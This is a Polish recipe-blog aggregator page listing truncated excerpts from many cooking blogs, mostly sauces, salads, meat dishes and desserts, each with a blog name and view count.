Kulinarne przygody Gatity
Garnek rybny z morszczukiem 171

minut mieszając. Wlać wodę, przecier pomidorowy, doprawić solą, pieprzem i słodką papryką. Dusić pod przykryciem około 10 minut na wolnym ogniu. Rybę ułożyć na warzywach polewając ją lekko sosem i dusić do miękkości warzyw. garnek rybny z morszczukiem

O kuchni z uczuciem
Fusilli z algami w sosie serowym z kurkami 200

dokładnie czasu ale wydaje mi się że w pół godziny się zmieściłam. Polecam po ciężkim dniu w pracy jak nie macie siły stać przy kuchni. Fusilli z algami w sosie serowym z kurkami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
SAŁATKA Z ŁOSOSIEM 223

mniejsze. Ogórki pokroić w drobną kostkę. Wszystkie te składniki wraz ze szczypiorkiem ułożyć na sałacie. Całość skropić lekko octem balsamicznym. Jogurt wymieszać z majonezem, czosnkiem, solą i pieprzem. Sosem tym polać sałatę i posypać posiekanym koperkiem. Źródo przepisu: Sałatka z łososiem

In my kitchen
WIOSENNY KONKURS Z WŁOSKIM AKCENTEM 243

osoba. Do wygrania jest 1 zestaw składający się z włoskich produktów ( kawa lavazza, pesto pomidorowe z ricottą, pasztet z karczochów, mąka ryżowa bez glutenu, makaron barilla mini kokardki, sos beszamel, ziemniaczane krakersy z rozmarynem, włoskie ciastka z migdałami, rogale z mlecznym nadzieniem, dwa batony nutella, rurki z kremem, czekolada z orzechami oraz czekoladowe jajka z mlecznym nadzieniem ). Produkty widoczne

kuchniabellissima.wordpress.com
SAŁATKA FIT Z ANANASA I KURCZAKA 201

miski przekładamy kurczaka, ananasa, pokrojoną paprykę i seler naciowy oraz kukurydze.  Jogurt mieszamy z przeciśnięty czosnkiem, ketchupem i przyprawami.  Sałatkę nakładamy do połówek ananasa, polewamy sosem i podajemy.  Smacznego

Kulinarne Fantazje Marioli
Curry z ananasem 325

Składniki: 1 podwójny filet z kurczaka 1 puszka kukurydzy 1 puszka krojonego ananasa 1 puszka mleka kokosowego 1 mały jogurt naturalny olej kukurydziany sos sojowy ocet ryżowy przyprawa orientalna 1 … Czytaj dalej Curry z ananasem

czarrna od kuchni
Gulasz wieprzowy z soczewicą i frytkami 210

minut. Obierz ziemniaki i pokrój w słupki. Obgotuj w lekko osolonej wodzie przez 4 minuty. Odcedź ziemniaki. Rozgrzej olej i usmaż frytki. Dodaj frytki do gulaszu, wymieszaj lekko z sosem. The post Gulasz wieprzowy z soczewicą i frytkami appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Pomysł na… pierś indyka w sosie dyniowo-curry 199

Pierś indyka w curry, w sosie dyniowym. Kasza jaglana i fasolka płaskostrąkowa. Danie lekkie, smaczne i przyjemne :) 2 porcje: 300 g piersi indyka 150 g kaszy jaglanej garść fasolki płaskostrąkowej (lub zwykłej szparagowej) 2 łyżki mleka kokosowego 3 łyżki gotowanej dyni (lub pieczonej, lub puree) 1 łyżeczka koncentratu pomidorowego przyprawy: curry, czubryca, garam masala, sól olej kokosowy do smażenia Mięso

Kucharzyca
Pałki z kurczaka w marynacie czosnkowej 203

przygotowaniu. Taki obiad w zasadzie sam się robi :) Wystarczy kilka godzin wcześniej zamarynować mięsko, a potem upiec i zajadać. Składniki: 8-10 pałek z kurczaka Marynata: 3 łyżki sosu sojowego 4 duże zmiażdżone ząbki czosnku suszone oregano 1/4 szklanki oleju Sposób przygotowania: 1. Mięso umyć i osuszyć. 2. Składniki marynaty dokładnie wymieszać. 3. Mięso natrzeć marynatą, schłodzić kilka godzin

Kuchnia domowa Ani
PIEROGI Z BANANAMI 186

pierogi na słodko muszą być z serem albo truskawkami?! Nie koniecznie! Ja do swoich dodaję banany i podaję je z sosem karmelowym albo bitą śmietaną! Dziś właśnie na nie mam dla Was przepis! Idealne, delikatne ciasto, słodkie banany – świetnym pomysł na słodki obiad nie tylko dla dzieci! Koniecznie zróbcie! SKŁADNIKI: ( ok. 20 szt ) CIASTO: * mąka pszenna – 1 szkl * gorąca

Ostra na Słodko
Sałatka z anchois 220

soku z ½ cytryny, pieprz do smaku Jak przygotować błyskawiczną sałatkę z anchois? Pomidory kroimy dowolnie, ja pokroiłam na ćwiartki, ser brie kroimy w kostkę. Do miski przekładamy rukolę, skrapiamy sosem i mieszamy z resztą składników (pomidory i ser brie) , sałatkę obkładamy filecikami anchois z kaparami, doprawiamy świeżo zmielonym pieprzem. Smacznego!   The post Sałatka z anchois appeared first on Damsko

Damsko-męskie spojrzenie na kuchnię
Smażone banany z cynamonem i miodem 211

miód mieszamy.  2. Banany obieramy, kroimy wzdłuż na pół. Kładziemy na patelnię. Obsmażamy z obu stron (banany zrobią się miękkie). Delikatnie przekładamy na talerz, polewamy pozostałym na patelni sosem. Podajemy ciepłe :-). Smacznego

kruche babeczki
Makaron w pomidorowym sosie z kiełbaską 145

dodajemy pokrojoną fasolkę, kiełbaski i razem podsmażamy. Następnie zalewamy bulionem, dodajemy koncentrat i dusimy pod przykryciem kolejne 10 min. Do smaku doprawiamy cukrem, solą, solą czosnkową i pieprzem. Do sosu wsypujemy majeranek, lekko podgrzewamy, wrzucamy makaron i dusimy przez kilka chwil. Podajemy od razu po przygotowaniu. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband

R'n'G Kitchen
Kurczak w sosie curry z ananasem! Mniammm! 219

limonki, trawę cytrynową i smaż kolejne 4 minuty.  Dodajemy następnie mleczko kokosowe, przykrywamy pokrywką i gotujemy 12 minut. Do wydrążonego ananasa wkładamy porcję ryżu i kurczaka w tajskim sosie curry. Posyp świeżymi ziołami i gotowe! Jeśli lubisz pikantne dania, dodaj posiekaną papryczkę chili! Gotowe! Smacznego! Przepis zgłaszam do konkursu

SMYKWKUCHNI
Parówki po meksykańsku 249

Składniki: 500 g cienkich parówek (u mnie Berlinki , z indyka); 2 średnie cebule; 1 średnia, czerwona papryka; 1 średnia, żółta papryka; 1 średnia, zielona papryka; 1/2

Gospodyni Miejska
Pieczona pietruszka z miodem i czosnkiem 162

pieprz Wykonanie: Pietruszkę obieramy, większe korzenie kroimy wzdłuż na pół. W szklance mieszamy oliwę, miód i przyprawy, dodajemy pokrojony w cienkie plasterki czosnek. Pietruszkę układamy w naczyniu żaroodpornym.  Sos wylewamy na pietruszkę i dokładnie obtaczamy nim wszystkie korzenie. Przykrywamy folią aluminiową i pieczemy w piekarniku nagrzanym do 200 stopni przez około 30 minut. Na 5 minut przed końcem pieczenia

Kulinarne przygody Gatity
Siemię lniane i jego właściwości 57617

proces utleniania. Dlatego najlepszy rozwiązaniem jest kupienie całych nasion i mielenie ich na przykład za pomocą młynka do kawy. Można również kupić olej lniany który można użyć jako podstawy sosu do sałatek.  Jaka jest zalecana dzienna porcja? Jedna do dwóch łyżek dziennie, nie dużo prawda? Wystarczy dodać rano do owsianki czy jogurtu, takie proste a ile dobroczynnych właściwości

Delusional Trine
W biegu: tarta wyśmienita 307

tarty ciąg dalszy SKŁADNIKI: na spód: 2 szklanki mąki 150g masła (pół dużej osełki) 3 łyżki mleka 1 łyżeczka soli 1 łyżeczka oregano nadzienie: 1 puszka tuńczyka w sosie własnym 1 słoiczek pomidorów suszonych w oliwie 4 cebulki szalotki 1 pęczek pietruszki 1 mała garść orzechów włoskich 3 jajka 200ml śmietany 30% 1/4 małej łyżeczki proszkowanego czosnku odrobina chilli sól

Kuchnia w biegu
Kotlety drobiowe w panierce sezamowej. 177

zmian, także w kwestiach kulinarnych. Dlatego zdecydowałam się na urozmaicenie panierki przez dodanie do niej ziaren sezamu. I nie żałuję! Kotlety zyskały nową jakość :) Idealnie będzie pasował do nich sos słodko-kwaśny. Proponuję wówczas przygotowanie mniejszych porcji mięsa i maczanie ich we wspomnianym dodatku. Składniki: 300 g filetów z piersi kurczaka sól  pieprz 2 łyżki bułki tartej 3 łyżki

zadanie-gotowanie
Jajka faszerowane łososiem 258

Lekka przymiarka do zbliżających się świąt. Jajka z łososiem, rzeżuchą i rungią. Smak podkręca sos czosnkowy i odrobina majonezu. Smaczna i szybka propozycja na świąteczne ale nie tylko śniadanie. Rozwiń i czytaj przepis

Ewa w kuchni
Mielone z pieczarek i peczaku 179

grubości. Smażymy na rozgrzanym oleju po ok. 4 min na każdą ze stron na średnim ogniu. Odsączamy na ręczniku papierowym. Podajemy solo, z ulubioną sałatką, sosem lub innymi dodatkami. Smacznego

Kuchnia od dwojga
Sałatka z wędzonym kurczakiem, serkiem i żurawiną 223

kostkę. W podobną kostkę kroimy serki. Mix sałat przekładamy do miski, mieszamy z resztą składników. Żurawinę łączymy z oliwą z oliwek, oraz 2-3 łyżkami gorącej wody, mieszamy. Żurawinowym sosem zalewamy sałatkę. Gotowe

Smaki Na Talerzu
Bitki wołowe 176

Bitki wołowe-smak kuchni staropolskiej, szlacheckiej, myśliwskiej. Są to rozbite plastry mięsa, duszonego w sosie własnym, najczęściej podawane w towarzystwie tłuczonych ziemniaków lub klusek.Nawet nasz Adam Mickiewicz dwukrotnie wspominał o bitkach wołowych w swoim dziele "Pan Tadeusz" Wołowinę trzeba wybrać młodą i soczystą. Bitki muszą być mięciutkie i niewysuszone-to cały sekret. SKŁADNIKI: 4 plastry wołowiny o grubości

Kopystką po garach
Chili con carne 217

czasu do czasu. Po tym czasie dodaj, czerwoną paprykę pokrojoną w drobną kostkę, czerwoną fasolę, kukurydzę (jeżeli używasz), zamieszaj wszystko i powoli dodawaj bulion-tak aby powstał gęsty sos. Gotowe!  WSKAZÓWKI: Można podać z ryżem na sypko, tortillą, na sałacie lub samoistne danie

Kopystką po garach
Pieczony placek ziemniaczany z wędzonym łososiem i chili 216

zrumieni (ale nie spali). Placek gotowy:) Na wierzch układamy plastry wędzonego łososia, posypujemy papryczką chili, czerwoną papryką,kaparami oraz serem feta. Jeszcze lepiej smakuje podana z sałatą lodową z sosem winegret i cząstkami cytryny

Kopystką po garach
Lawasz 225

godziny). Po tym czasie ciasto odgazowujemy uderzając pięścią . Ciasto dzielimy na porcje:5-6,jeżeli chcemy coś w nie zawinąć, 8, jeżeli mają być dodatkiem do zup, sosów. Wałkujemy na bardzo cienki placek (ok.1,5 milimetra), wkładamy na rozgrzaną patelnię ( z nieprzywieranym dnem) lub pieczemy w piekarniku -rozgrzanym do 220 stopni. Z piekarnika uzyskamy chrupiące, niczym krakersy, chlebki, z patelni

Kopystką po garach
Kurczak Saltimbocca 154

przez 3 minuty, następnie przewrócić i smażyć kolejne 3 minuty. Usmażone mięso odkładamy na talerz i przykrywamy.Na patelnię po kurczaku wlewamy wino i dodajemy miód, gotujemy 2- 3 minuty (sos powinien się zredukować o połowę), wtedy wlewamy bulion, pomidorki koktajlowe. Gdy zmiękną, dodać 2 łyżki masła a następnie włożyć filety. Skropić cytryną i odstawić z ognia.  WSKAZÓWKI: Do podania

Kopystką po garach
Klopsiki z kaszy jaglanej i brokuła 185

posiekaną natkę oraz paprykę, dodaję musztardę i jajko. Doprawiam solą, pieprzem. Masę formuję w klopsiki, oprószam mąką i smażę, na niewielkiej ilości oleju. DO PODANIA: U mnie podano z sosem pomidorowym (przepis znajdziecie tutaj:  http://kopystkapogarach.blogspot.com/2016/03/klasyczny-sos-pomidorowy.html

Kopystką po garach
Czerwony ryż 184

Suszona bazylia\ Oliwa Parmezan PRZYGOTOWANIE: Ryż gotujemy wg. opisu na opakowaniu. Por oraz czosnek drobno siekamy,podsmażamy na niewielkiej ilości oliwy, dodajemy passatę oraz przyprawy. Ugotowany ryż łączymy z sosem-dodajemy świeżo starty parmezan

Kopystką po garach
Golonka po bawarsku. 191

podlewamy wywarem, w którym się pieką.Następnie polewamy golonkę miodem....i zapiekamy jeszcze 10 minut. Skórka stanie się chrupiąca.  DO PODANIA: kapusta zasmażana, ziemniak pieczony z masłem rozmarynowym, sos chrzanowy

Kopystką po garach
Pulpa pomidorowa 162

Przygotowanie takiej pulpy zajmuje troszkę czasu-ale jesienią lub zimą poczujesz, że masz lato zamknięte w słoikach.Wystarczy,że dodasz cebulkę, czosnek, parmezan masz pyszny, klasyczny sos pomidorowy.Obiad gotowy w 7 minut :) SKŁADNIKI: Pomidory (lima) ilość dowolna-u mnie zazwyczaj po 20-30 kg  Sól Pieprz Cukier-opcjonalnie Suszona bazylia-opcjonalnie PRZYGOTOWANIE: Pomidory nacinamy, parzymy wrzątkiem, obieramy ze skórki

Kopystką po garach
Rosół wołowy 171

przyzwyczajona do smaku rosołu z kury, postanowiłam zrobić wołowy. Zrobiłam i już nie wrócę do drobiowego. Wołowy, esencjonalny ze słodka nutą pieczonej cebuli. Ugotowane mięso podałam z sosem chrzanowym. SKŁADNIKI: ok. kg rostbefu  2 marchwie 1/2 pora 1 większy korzeń pietruszki 1/2 selera Lubczyk 1/2 sporej cebuli Ciepła woda-ok.2-3 litry Cienki makaron  Natka pietruszki Sól

Kopystką po garach
Zupa dyniowa z nutką imbiru i pomrańczą 148

średnie marchwie 2 ziemniaki ok. 5 cm. kawałek obranego imbiru (imbir dodajemy na koniec, więc każdy przyprawia pod swój gust) sól pieprz kumin rzymski papryka słodka natka pietruszki sos  z połowy pomarańczy  PRZYGOTOWANIE: Dynię obieramy, kroimy na mała kawałki, tak samo marchew oraz ziemniaki. Warzywa zalewamy wodą (tak, żeby je przykryła), solimy i gotujemy do miękkości. Imbir obieramy

Kopystką po garach
Risotto z kurkami, dynią i kurczakiem 198

mogą być inne przyprawy).Mięso z przyprawami odstawiamy na godzinę. Musimy przygotować 2 patelnie, gdyż jednocześnie będziemy przesmażać grzyby i robić risotto-tak,żeby równocześnie połączyć jedno z drugim. Sos: Cebulę kroimy w drobną kosteczkę, wrzucamy na patelnię- na rozgrzany tłuszcz żeby się zeszkliła, po zeszkleniu cebuli dorzucamy kurki i podsmażamy. Dynię kroimy w kostkę

Kopystką po garach
Zapiekanka makaronowa 248

mielonego (u mnie od szynki) Spora cebula 2-3 ząbki czosnku 1 puszka pomidorów 2 łyżki koncentratu Ostra papryka Sól Pieprz Cukier Oregano Kulka mozzarelli Olej PRZYGOTOWANIE: Sos: cebulę i czosnek drobno siekamy, podsmażamy na oleju. Dodajemy mielone i smażymy. Następnie wrzucamy pomidory oraz dodajemy koncentrat (ilość dodanego koncentratu zależy od samku pomidorów z puszki-jeżeli są kwaśne, dodajemy mniej

Kopystką po garach
Charczo- gruzińska zupa z wołowiną. 425

kolendrę-chwilę podsmażamy, wykładam na talerzyk. Jeżeli trzeba dolewam oleju i podsmażam wołowinę-ale tak,żeby paseczki się nie stykały. Mięso ma się smażyć a nie gotować we własnym sosie. Kiedy mięso już podsmażone, dodajemy zawartość talerzyka (czosnek, adżika i przyprawy) oraz pokrojoną w piórka cebulę, przesmażamy. Wlewamy wino i deglasujemy. Następnie dodajemy włoszczyznę i zalewamy to wodą-zmniejszamy ogień

Kopystką po garach
Fasolka po bretońsku 222

szklanki wody. Na patelni roztapiamy masło, dodajemy pokrojony w kostkę boczek oraz kiełbasę. Kiedy boczek zacznie się wytapiać, wrzucamy drobno posiekaną cebulę i czosnek.Następnie dodajemy pomidory, przesmażamy. Kiedy sos się zagęści (można odrobinę rozrzedzić wodą z gotowania fasoli) ,wsypujemy fasolę. Całość doprawiamy pieprzem, sporą ilością majeranku, paprykami. Na koniec można posypać posiekaną natką pietruszki i kilkoma wiórkami parmezanu

Kopystką po garach
PIERŚ Z INDYKA W SOSIE POMIDOROWYM 295

stron. Całość zalać winem i dusić ok 20 min.Następnie dodać pomidory z puszki,doprawić 2-3 ząbkami czosnku,oregano,bazylią oraz solą i pieprzem.Gotować,aż sos zrobi się gęsty - pod koniec dodać świeżej bazylii - ściągnąć z ognia i całość wymieszać

Niespełnione zdolności kulinarne
W domu: kurczak w sosie pomarańczowym 249

Mięso płuczemy i solimy, układamy w naczyniu żaroodpornym. Z dużej pomarańczy wyciskamy sok i łączymy z pozostałymi składnikami, dokładnie mieszamy. Piekarnik rozgrzewamy do 190 stopni (góra-dół). Zalewamy mięso sosem i przykrywamy plasterkami małej pomarańczy. Pieczemy 50 minut. Smacznego

Kuchnia w biegu
Makaron z grogonzolą, gruszką i orzechami włoskimi 226

gorgonzoli oraz posiekany ząbek czosnku. Gotujemy na małym ogniu pod przykrywką, co jakiś czas mieszając, by ser dokładnie się rozpuścił. Zdejmujemy pokrywkę i trzymamy jeszcze chwilę na ogniu, żeby sos zgęstniał. Odcedzamy makaron i przekładamy do rondelka. Dodajemy sól, świeżo zmielony pieprz i pokrojoną w kosteczkę gruszkę. Mieszkamy dokładnie i przekładamy do miseczki. Posypujemy orzechami i gotowe ! Porcja zawiera

Gawron w rosole
Parówka w omlecie 215

jajko, przykryć pokrywką i trzymać na małym ogniu aż do ścięcia. Potem za pomocą łopatki przewrócić na drugą stronę i smażyć już bez przykrycia. Omlet zdjąć z patelni, posmarować sosem pomidorowym (przecier pomidorowy dusić na suchej patelni wraz z ulubionymi ziołami, solą i pieprzem do momentu odparowania wody i lekkiego zgęstnienia). Nałożyć na niego sałatę, na środek ugotowaną parówkę oraz

Fabryka pomysłów
Prosta zapiekanka ziemniaczana 345

patelni. Ziemniaki kroimy w plasterki i wykładamy na dnie naczynia żaroodpornego. Na nie układamy por z cebulą. Jajka roztrzepujemy widelcem, dodajemy śmietanę, starty ser żółty i przyprawy. Mieszamy. Sosem jajecznym polewamy zapiekankę. Całość zapiekamy około 25 minut w temp 180 C. Posypujemy posiekanym szczypiorkiem

e-PrzepisyKulinarne
Kurczak w sosie miodowo musztardowym 45063

Paprykę kroimy w cienkie paseczki i dodajemy do kurczaka. Smażymy przez 3 minuty, dodajemy skrobię, boczek, mleko i śmietanę, mieszamy wszystko, doprawiamy pieprzem, kurkumą i gotujemy tak długo aż sos zgęstnieje do odpowiadającej nam konsystencji. Na koniec dodajemy pokrojoną drobno pietruszkę i smażymy jeszcze przez kilka sekund. Najlepiej podawać z makaronem penne

Delusional Trine
Spaghetti z kurczakiem, szpinakiem i suszonymi pomidorami. 225

szpinak. Mieszam, gotuję jeszcze ok. 2 minutki do połączenia składników, w razie potrzeby doprawiam do smaku. Makaron gotuję w/g przepisu na opakowaniu, odcedzam, wykładam na talerze i zalewam gorącym sosem. Smacznego

Kuchnia z widokiem na ogród
Piersi z kurczaka z pomidorami i Serem Korycińskim. 212

piersi i zalewamy pomidorami. Pieczemy w temperaturze 180 stopni około 35/40 minut lub tak długo aż piersi będą miękkie po włożeni widelca.Naczynie żaroodporne podczas pieczenia można przykryć dzięki temu sos tak szybko nie odparuje. Pyszne i proste.  Zapraszam do wypróbowania:) Joasia.         Zapraszam na stronę internetową Serowaru Podlaskiego http://serowarpodlaski.pl

Sama słodycz i szczypta chili
Pumpernikiel ze śledziem w curry 247

śledziowe kroimy w 1,5 cm kostkę Dodajemy pokrojone jabłko (skropione sokiem cytryny), natkę cebuli dymki, ogórka konserwowego, połowę czerwonej cebuli oraz opcjonalnie 1-2 papryczki chilli i mieszamy. Sos curry przygotowujemy z połączenia: majonezu, kwaśnej śmietany, octu jabłkowego, cukru, pieprzu i curry. Całość łączymy, mieszamy i odstawiamy do lodówki. Ringiem wycinamy kółko w kromce chleba na który przy pomocy

Mechanik w kuchni
Nadziane ogórki – szybka przekąska na imprezę 239

Szybka, pyszna przekąska. Składniki: 1 długi ogórek 1 puszka tuńczyka w sosie własnym 1 łyżka majonezu 1 łyżka posiekanego koperku szczypta pieprzu orzechy włoskie Ogórka obieramy ze skórki i kroimy w grube plastry (2 cm). Małą łyżeczką wykrawamy środek tak by powstał taki kieliszeczek. Do miski wrzucamy tuńczyka (odsączonego), dodajemy majonez, posiekany koperek, pieprz. Mieszam. Do kieliszeczków nakładam

MojaQchnia.pl
HOT WINGS, PIKANTNE SKRZYDEŁKA A'LA KFC 363

układamy na blaszce z piekarnika. Dodatkowo podpieczemy mięska w piekarniku aby nie były surowe w środku. Pieczemy około 15 minut w temperaturze 180 % C. Mięska podajemy ciepłe z ulubionymi sosami. Smacznego.           Zapraszam do obejrzenia filmiku i subskrybcji kanału

Kulinarne Fantazje Marioli
Tarta z wołowiną i zieloną fasolką 202

Składniki 400g wołowiny 3 czerwone cebule 3 ząbki czosnku 200 g zielonej fasolki szparagowej sól, pieprz, sos sojowy łyżeczka miodu 250 g mąki 115 g zimnego masła 1 żółtko szczypta soli i estragonu 5 łyżek zimnej wody 1/2 szklanki śmietany 2 jajka szczypta soli, tymianku i estragonu 1/4 szklanki mleka Przygotowanie Mięso opłukać, osuszyć i zmielić w jedną cebulą. Podsmażyć

Gaździnka warzy
Kotleciki z białej kiełbasy 200

Cześć Symbolem Wielkanocy jest m.in. biała kiełbasa. Wszyscy dobrze ją znamy jako parzoną kiełbasę podawaną z sosem lub chrzanem. Czasami też ją pieczemy. Jej nietypową odsłoną są kotleciki. Tak, nawet z białej kiełbasy możemy zrobić typowe danie obiadowe w postaci kotletów. Poniższy przepis zaczerpnęłam z bloga kuchniababcigramolki-buni.blogspot.com Kotleciki mielone z białej kiełbasy Przygotuj dużą miskę, miseczkę, patelnię, łopatki do obracania

blog.moje-pasje.info
Zupa krem z zielonego groszku 190

zielonego groszku Do tej pory dosyć rzadko używałem groszku w mojej kuchni. Nie mam nic do niego, tak po prostu wyszło. Sporadycznie lądował na patelni z tofu, zalany sosem orzechowym lub, ewentualnie, robiłem z niego kotleciki z zielonego groszku . Wraz z nadchodzącą wiosną przyszedł czas na zupy. Nieprzypadkowo wybrana została zupa krem z zielonego groszku. Chciałem w ten sposób przełamać

Blendman
Śniadanie z patelni 157

jajkiem sadzonym i ziołowym jogurtem Podpłomyki z oregano Podpłomyki z pastą z awokado, jajkiem i parmezanem Smażona kiełbasa z warzywami Smażone ziemniaki z czosnkiem i czarnuszką Omleciki biszkoptowe z sosem truskawkowo-jeżynowym

Moja smaczna kuchnia
Indyjskie kotleciki kalafiorowe. 178

były zbyt delikatne i rozpadały się przy obracaniu. Drugie podejście wyszło już zupełnie gładko i bezproblemowo, a efekt bardzo mnie usatysfakcjonował! Kotleciki są świetne z różnego rodzaju pikantnymi sosami, a mnie osobiście najbardziej smakują na zimno. Polecam! Składniki: 1 średni kalafior 2 ziemniaki 1 cebula 1 ząbek czosnku 1 cm kawałek imbiru 1 łyżeczka garam masali 1 łyżeczka 1 łyżeczka

zadanie-gotowanie
Placek z kalafiora z dodatkami 222

Wstawić do piekarnika i piec do 15 - 20 minut, aż placek będzie przypieczony na złoty kolor. Placek wyjąć, nałożyć ulubione składniki - nie za dużo. Posmarowałam sosem pomidorowym, położyłam wędlinę i posypałam serem. Wstawić ponownie do piekarnika i piec kolejne 7-10 minut, aż ser się stopi. Smacznego

Stare Gary
Babeczki kukurydziane z kremem malinowym | bez białego cukru / glutenu / laktozy | 193

metalowej formy wyłożonej papierowymi papilotkami (ciężko odchodzą od papierka). Pieczemy przez 30 min. Składniki na krem miksujemy, dekorujemy przy pomocy szpatułki i dodatkowo przystrajamy malinami. Moje polałam dodatkowo sosem czekoladowym z chilli

Czarnawisienka
Wrapy śledziowe 212

osuszone płaty śledziowe kroimy w ok 1 cm kosteczkę Dodajemy pokrojone w kosteczkę i skropione sokiem cytryny jabłko Następnie pokrojony ogórek konserwowy  i poszatkowaną natkę cebuli dymki Sos przygotowujemy z połączenia majonezu, śmietany i octu jabłkowego Przyprawiamy solą, pieprzem i cukrem Gotowy farsz nakładamy na placek tortilli i zawijamy w rulon. Wrapy zawijamy w folię i przechowujemy w lodówce

Mechanik w kuchni
Drożdżowe paszteciki z chorizo 221

Generalnie nie lubię używać wałka do ciasta drożdżowego, zazwyczaj wychodzi ono wystarczająco elastyczne aby je uformować w dłoniach, ale jak ktoś woli to może użyć wałka. Smarujemy całość sosem pomidorowym, na to układamy plastry chorizo, następnie nakładamy pieczarki i rozkruszony ser mozzarella. Zakładamy jeden koniec na górę i przykrywamy drugim końcem. Kroimy w 3 cm kawałki i układamy na wysmarowanej

Delusional Trine
Wielkie oszustwo 211

połowie szklanki zimnej wody. Dolewamy do gotującej się kawy i energicznie mieszamy.  Naleśnik składamy na pół. Na wierzch kładziemy dwie gałki groszkowego puree i dekorujemy kawowo - paprykowym sosem

Kryzysowa Książka Kucharska
Śmietanowy sos pieczarkowo-koperkowy 212

Proste danie obiadowe. Gęsty sos pieczarkowo-koperkowy. Proponuję podawać z makaronem lun kopytkami. Z przepisu wychodzą dwie porcje obiadowe. 200 g pieczarek 1/2 czerwonej cebuli 5 dużych plastrów wędliny z indyka 200 g śmietany 18% szczypta soli szczypta pieprzu 1/2 łyżeczki suszonego estragonu pęczek koperku olej do smażenia Pieczarki i cebulę pokroić w drobną kostkę. Wędlinę pokroić w cienkie, długie

Bullio
Naleśniki jogurtowo mleczne z kisielem owocowym 212

sposób uzyskamy czystą maż z owoców. Doprawić do smaku cukrem, znowu postawić na ogniu. W małym garnuszku rozmieszać mączkę ziemniaczaną z wodą i wlać do gotującego się sosu owocowego. Zagotować i zdjąć z ognia. Po przetarciu owoców przez sitko zostało i 1 1/4 szklanki gęstego soku z jeżyn. Jeśli wyjdzie Wam więcej to trzeba dodać trochę więcej mączki ziemniaczanej. Smażenie

Kuchnia Pokoleń
Najlepsze śledzie w śmietanie 237

minut zalewamy gorącą wodą. Pietruszkę siekamy. Śmietanę, majonez i musztardę łączymy ze sobą. Dodajemy pietruszkę i pieprz. Odsączoną cebulę i śledzie przekładamy do jednej miski, dodajemy sos śmietanowy i mieszamy dokładnie. Odkładamy na godzinę do lodówki, aby smaki się „przegryzły

e-PrzepisyKulinarne
Hot dogi 168

używanych paluszków, często była „rozparzona”. O chrupkości można było zapomnieć. O jakości parówek już nie wspomnę. Oczywiście były również sprzedawane hot dogi składające się tylko z bułki, parówki i sosu (majonez, musztarda). bułka*, parówka, majonez, keczup, musztarda, sałatka szwedzka z ogórków, cebulka prażona, Bułkę przekroić wzdłuż na pół, nie rozcinając do końca z jednego dłuższego brzegu. Włożyć do piekarnika nagrzanego

królestwo garów
Kotleciki kofte. 204

zbyt luźna - dodać nieco bułki tartej i ponownie wymieszać. Formować małe kotleciki i smażyć na średnim ogniu do zbrązowienia z obu stron (czas zależny od rodzaju mięsa). Podawać z sosami jogurtowymi i/lub pomidorowymi

zadanie-gotowanie
Schab inaczej – pieczone kotlety z musztardą francuską, ziołami i octem balsamicznym 429

odcinamy żadnego tłuszczu – nie ma potrzeby. Nie solimy i nie pieprzymy – wszystkie przyprawy są już w marynacie.   Marynatę do mięsa szykujemy tak samo jak majonez lub sos włoski – ma być gęsta i jednorodna. Do wysokiego naczynia wlewamy ocet balsamiczny, wsypujemy cukier i zioła, dodajemy musztardę, sól i pieprz. Wszystko miksujemy razem – ja zrobiłam to końcówką z ubijaczką dołączoną

Karo in the Kitchen
Błyskawiczny piątek - Panierowane kosteczki mozzarelli 169

Kolejny tydzień i kolejny błyskawiczny piątek. Tym razem szybka przekąska. Uwielbiam przygotować sobie takie kosteczki, podawać je z sosem i oglądać swój ulubiony serial z lampką wina. Składniki : * 200g sera mozzarella  * jajko * bułka tarta  * mąka pszenna  * olej do smażenia Przygotowanie : Ser pokroić w kostkę. Panierować w jajku, mące, jeszcze raz w jajku i bułce tartej. Smażyć

Magiczne Życie Marty
Roladki schabowe z pieczarkami 183

Schab to nie jest nudne mięso, zaręczam. Chociaż niektórym kojarzy się wyłącznie z tradycyjnym kotletem schabowym, przesuszoną pieczenią, czy sosem bez smaku. Uwierzcie, że nie potrzeba wiele, by odczarować ten rodzaj mięsa. Jeśli nie macie pomysłu na schabowy obiad- zapraszam do lektury. Roladki, o których będzie dzisiaj mowa, mogą być główną częścią pysznego, ciepłego posiłku lub zimną przekąską na przyjęciu

Pichceniomania
Kasza gryczana z warzywami i dynią 174

dyni ożywi całość ,a tarty parmezan sprawi, że dzieci będą wołały o dokładkę. Składniki woreczek kaszy gryczanej, ugotowanej na sypko mielona cielęcina uduszona w małej ilości wody i w sosie własnym- opcjonalnie mrożonki w słupkach , dowolne 2 ząbki czosnku szklanka pokrojonej w kostkę dyni (u mnie mrożona ) por część biała olej kokosowy  do smażenia   olej lniany tłoczony

Z Kuchni Do Kuchni
Czekoladowe pampuchy z ricottą 289

Puszyste i mocno czekoladowe ciasto drożdżowe ugotowane na parze. Środek wypełnia delikatny krem budyniowy z ricotty, a wszystko polałam słodkim sosem z białej czekolady. Takie czekoladowe pampuchy to coś dla wytrawnych czekoladożerców :) PAMPUCHY CZEKOLADOWE: 3 szklanki mąki pszennej 1 szklanka mleka 1 łyżka cukru 25 g drożdży świeżych 100 g czekolady gorzkiej 1 jajko szczypta soli KREM Z RICOTTY

https:KKuchniaMniam
Gulasz miodowy 330

chleba. Danie ma na tyle popularną i prostą formę, że właściwie w każdej kuchni świata znajdziemy potrawę przynajmniej podobną w przygotowaniu. Mięso pokrojone na mniejsze kawałki przyrządzone we własnym sosie i aromatycznymi przyprawami. Czasem w towarzystwie warzyw. To sycące danie obiadowe, które nie wymaga skomplikowanego przyrządzania. Zapraszam na aromatyczny gulasz w mojej wersji z dodatkiem miodu. Drukuj Czas przygotowania

Wędrówki po kuchni
Makaron z marchewki w miodzie i pomarańczach / Orange and honey glazed carrot spaghetti 202

Takim też sposobem powstało spaghetti z marchewki w glazurze z pomarańczy i miodu z odrobiną octu balsamicznego dla przełamania słodyczy. Polecam do wszystkiego, ja podałam go ze schabowymi w sosie musztardowym i puree ziemniaczanym i całość bardzo dobrze się skomponowała. Polecam gorąco! Scroll down for recipe in English Makaron z marchewki w miodzie i pomarańczach (4-5 porcji) Składniki

karmelowy
Pieczone warzywa 172

Pieczemy w piekarniku nagrzanym do 160 st. przez ok 60 minut., od czasu do czasu mieszając.  Podajemy jako dodatek do mięs lub z pokruszoną fetą oraz z sosem jogurtowym.  Smacznego

bistro mama
“Pyszne poranki” – recenzja 215

